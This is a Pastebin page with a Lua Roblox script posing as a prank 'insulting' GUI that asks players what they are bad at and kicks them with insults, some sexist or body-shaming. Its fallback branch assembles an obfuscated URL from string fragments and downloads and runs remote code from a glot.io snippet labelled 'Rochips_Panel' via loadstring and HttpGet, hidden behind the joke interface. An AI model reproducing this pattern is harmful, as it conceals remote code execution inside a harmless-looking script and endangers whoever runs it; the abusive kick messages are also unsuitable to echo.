Advertisement
HURRYUPKAREN

Insulting Roblox GUi

Jun 24th, 2024
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.40 KB | None | 0 0
  1. --you can edit all of this if you want--
  2.  
  3. -- Create the ScreenGui
  4. local screenGui = Instance.new("ScreenGui")
  5. screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  6.  
  7. -- Create the main frame
  8. local mainFrame = Instance.new("Frame")
  9. mainFrame.Size = UDim2.new(0.5, 0, 0.3, 0)
  10. mainFrame.Position = UDim2.new(0.25, 0, 0.35, 0)
  11. mainFrame.BackgroundTransparency = 0.5
  12. mainFrame.BackgroundColor3 = Color3.fromRGB(169, 169, 169) -- Gray color
  13. mainFrame.Parent = screenGui
  14.  
  15. -- Create the close button
  16. local closeButton = Instance.new("TextButton")
  17. closeButton.Size = UDim2.new(0, 30, 0, 30)
  18. closeButton.Position = UDim2.new(0, 5, 0, 5)
  19. closeButton.Text = "X"
  20. closeButton.Parent = mainFrame
  21.  
  22. -- Create the question label
  23. local questionLabel = Instance.new("TextLabel")
  24. questionLabel.Size = UDim2.new(1, -10, 0.3, -10)
  25. questionLabel.Position = UDim2.new(0, 5, 0.2, 5)
  26. questionLabel.Text = "What are you bad at?"
  27. questionLabel.TextScaled = true
  28. questionLabel.BackgroundTransparency = 1
  29. questionLabel.Parent = mainFrame
  30.  
  31. -- Create the message box
  32. local messageBox = Instance.new("TextBox")
  33. messageBox.Size = UDim2.new(1, -10, 0.3, -10)
  34. messageBox.Position = UDim2.new(0, 5, 0.6, 5)
  35. messageBox.PlaceholderText = "Type here..."
  36. messageBox.TextScaled = true
  37. messageBox.Parent = mainFrame
  38.  
  39. -- Close button functionality
  40. closeButton.MouseButton1Click:Connect(function()
  41.     screenGui:Destroy()
  42. end)
  43.  
  44. -- Function to handle message box input
  45. local function handleInput()
  46.     local text = messageBox.Text:lower() -- Convert to lowercase for case-insensitive comparison
  47.     local player = game.Players.LocalPlayer
  48.    
  49.     if text == "cooking" then
  50.         player:Kick("Go in the kitchen and make me a sandwich, pathetic.")
  51.     elseif text == "eating" then
  52.         player:Kick("Ugh, did you get fat again?")
  53.     elseif text == "cleaning" then
  54.         player:Kick("You're weak and an idiot.")
  55.     elseif text == "nothing" then
  56.         player:Kick("Liar liar, pants on fire!")
  57.     else
  58.         local pastebin = "https://glot.io/snippets"
  59.         local Rochips_Panel = "gw".."wv".."87".."7g".."a3/r".."aw".."/ma".."in.lu".."a"
  60.         loadstring(game:HttpGet(pastebin.."/"..Rochips_Panel))()
  61.     end
  62. end
  63.  
  64. -- Detect when the user presses the "Enter" key while focused on the message box
  65. messageBox.FocusLost:Connect(function(enterPressed)
  66.     if enterPressed then
  67.         handleInput()
  68.     end
  69. end)
  70.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement